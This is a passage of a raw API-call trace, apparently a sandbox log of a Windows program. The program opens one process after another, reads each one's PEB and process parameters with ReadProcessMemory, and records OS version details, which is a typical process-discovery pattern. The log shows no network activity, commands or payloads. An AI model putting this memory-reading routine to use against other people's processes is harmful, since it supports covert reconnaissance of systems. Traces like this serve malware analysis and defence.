_BufferCount=0x104, _Radix=10 | out: _Buffer="4352") returned 0x0 [0349.313] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4352") returned 4 [0349.313] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.313] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.314] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1100) returned 0xa9c [0349.314] GetLastError () returned 0x0 [0349.314] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.314] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.314] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.314] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.314] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e2258, lpBuffer=0x5ec5a0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.314] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.315] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.315] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.315] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.315] malloc (_Size=0x64) returned 0xeb6700 [0349.315] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e22b4, lpBuffer=0xeb6700, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6700*, lpNumberOfBytesRead=0x0) returned 1 [0349.315] free (_Block=0xeb6700) [0349.315] CloseHandle (hObject=0xa9c) returned 1 [0349.316] _ui64tow_s (in: _Value=0x101c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4124") returned 0x0 [0349.316] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4124") returned 4 [0349.316] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.316] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.317] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x101c) returned 0xa9c [0349.317] GetLastError () returned 0x0 [0349.317] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.317] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.317] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.317] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.317] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2258, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.319] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.319] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.320] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.320] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.320] malloc (_Size=0x68) returned 0xeb6150 [0349.320] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e22b8, lpBuffer=0xeb6150, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6150*, lpNumberOfBytesRead=0x0) returned 1 [0349.320] free (_Block=0xeb6150) [0349.321] CloseHandle (hObject=0xa9c) returned 1 [0349.321] _ui64tow_s (in: _Value=0x520, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1312") returned 0x0 [0349.321] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1312") returned 4 [0349.321] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.321] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.322] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x520) returned 0xa9c [0349.322] GetLastError () returned 0x0 [0349.322] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.322] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2da018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.322] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.322] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4924e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.322] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492118, lpBuffer=0x5ec5a0, nSize=0x4a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.323] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.323] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.323] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2da020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.323] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x491ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.323] malloc (_Size=0x62) returned 0xeb64d0 [0349.323] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492162, lpBuffer=0xeb64d0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb64d0*, lpNumberOfBytesRead=0x0) returned 1 [0349.324] free (_Block=0xeb64d0) [0349.324] CloseHandle (hObject=0xa9c) returned 1 [0349.324] _ui64tow_s (in: _Value=0x1404, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5124") returned 0x0 [0349.324] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5124") returned 4 [0349.324] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.324] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.325] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1404) returned 0xa9c [0349.325] GetLastError () returned 0x0 [0349.325] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.325] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6ad018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.325] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.325] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.326] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.326] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.326] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.326] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6ad020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.326] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x311c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.326] malloc (_Size=0x72) returned 0xea8aa0 [0349.326] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3122c2, lpBuffer=0xea8aa0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8aa0*, lpNumberOfBytesRead=0x0) returned 1 [0349.327] free (_Block=0xea8aa0) [0349.327] CloseHandle (hObject=0xa9c) returned 1 [0349.327] _ui64tow_s (in: _Value=0x1420, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5152") returned 0x0 [0349.327] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5152") returned 4 [0349.327] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.327] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.328] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1420) returned 0xa9c [0349.328] GetLastError () returned 0x0 [0349.328] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.328] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x9cc018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.328] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.329] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc04100, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.329] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc03c2a, lpBuffer=0x5ec5a0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.329] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.329] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.329] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x9cc020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.329] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc03570, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.329] malloc (_Size=0x118) returned 0xefada0 [0349.329] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc03cca, lpBuffer=0xefada0, nSize=0x116, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xefada0*, lpNumberOfBytesRead=0x0) returned 1 [0349.330] free (_Block=0xefada0) [0349.330] CloseHandle (hObject=0xa9c) returned 1 [0349.330] _ui64tow_s (in: _Value=0x1444, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5188") returned 0x0 [0349.330] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5188") returned 4 [0349.331] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.331] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.331] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1444) returned 0xa9c [0349.331] GetLastError () returned 0x0 [0349.332] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.332] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.332] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.332] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e2620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.332] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e2258, lpBuffer=0x5ec5a0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.332] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.332] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.332] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.333] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.333] malloc (_Size=0x60) returned 0xeb6310 [0349.333] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e22b0, lpBuffer=0xeb6310, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6310*, lpNumberOfBytesRead=0x0) returned 1 [0349.333] free (_Block=0xeb6310) [0349.334] CloseHandle (hObject=0xa9c) returned 1 [0349.334] _ui64tow_s (in: _Value=0x1458, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5208") returned 0x0 [0349.334] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5208") returned 4 [0349.334] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.334] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.335] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1458) returned 0xa9c [0349.335] GetLastError () returned 0x0 [0349.335] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.335] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x317018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.335] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.335] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5926a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.335] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x592258, lpBuffer=0x5ec5a0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.336] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.336] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.336] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x317020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.336] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x591c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.336] malloc (_Size=0x88) returned 0xe882d0 [0349.336] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5922d8, lpBuffer=0xe882d0, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe882d0*, lpNumberOfBytesRead=0x0) returned 1 [0349.337] free (_Block=0xe882d0) [0349.337] CloseHandle (hObject=0xa9c) returned 1 [0349.337] _ui64tow_s (in: _Value=0x1474, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5236") returned 0x0 [0349.337] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5236") returned 4 [0349.337] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0349.337] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0349.338] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1474) returned 0xa9c [0349.338] GetLastError () returned 0x0 [0349.338] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0349.338] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ee018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0349.338] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0349.339] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2700, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0349.339] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0349.339] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0349.339] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0349.339] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ee020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0349.339] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0349.339] malloc (_Size=0xa8) returned 0xe96a20 [0349.340] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22f8, lpBuffer=0xe96a20, nSize=0xa6, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe96a20*, lpNumberOfBytesRead=0x0) returned 1 [0349.340] free (_Block=0xe96a20) [0349.340] CloseHandle (hObject=0xa9c) returned 1 [0349.340] _ui64tow_s (in: _Value=0x1480, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5248") 